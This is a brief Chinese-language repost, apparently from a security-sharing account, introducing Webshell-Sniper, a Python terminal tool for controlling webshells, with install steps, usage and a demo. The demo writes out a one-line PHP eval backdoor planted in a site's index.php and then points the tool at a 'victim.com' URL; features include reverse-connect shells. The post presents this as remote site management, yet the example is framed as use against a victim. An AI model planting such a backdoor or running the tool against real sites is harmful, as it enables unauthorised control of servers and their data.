Webshell-Sniper是一款使用Python编写的基于终端的Webshell管理器,和以往我们分享的Webshell管理工具有所不同,所有操作都在终端中完成。使用它可对您的网站进行远程管理。虽然它没有图形化的GUI也没有WEB界面,但这样的操作也是另有一翻感觉。
功能
基于终端的shell交互
反向连接shell(这就能做非常多的事了)
数据库管理
服务端 :
Linux
python 2.7
客户端 :
apache 2.4
php 7.0
需要注意的是,Webshell-Sniper服务端只支持Unix系统环境。
git clone https://github.com/WangYihang/Webshell-Sniper
cd Webshell-Sniper
pip install -r requirements.txt
Usage :
python webshell-sniper.py [URL] [METHOD] [AUTH]
Example :
python webshell-sniper.py http://127.0.0.1/c.php POST c
# Demo
# cat /var/www/html/index.php
<?php eval($_POST['s3cr3t']);?>
# python webshell-sniper.py http://victim.com/index.php POST s3cr3t
...
https://www.youtube.com/watch?v=iAUwb8SSS4s
https://asciinema.org/a/130893
侵权请私聊公众号删文
热文推荐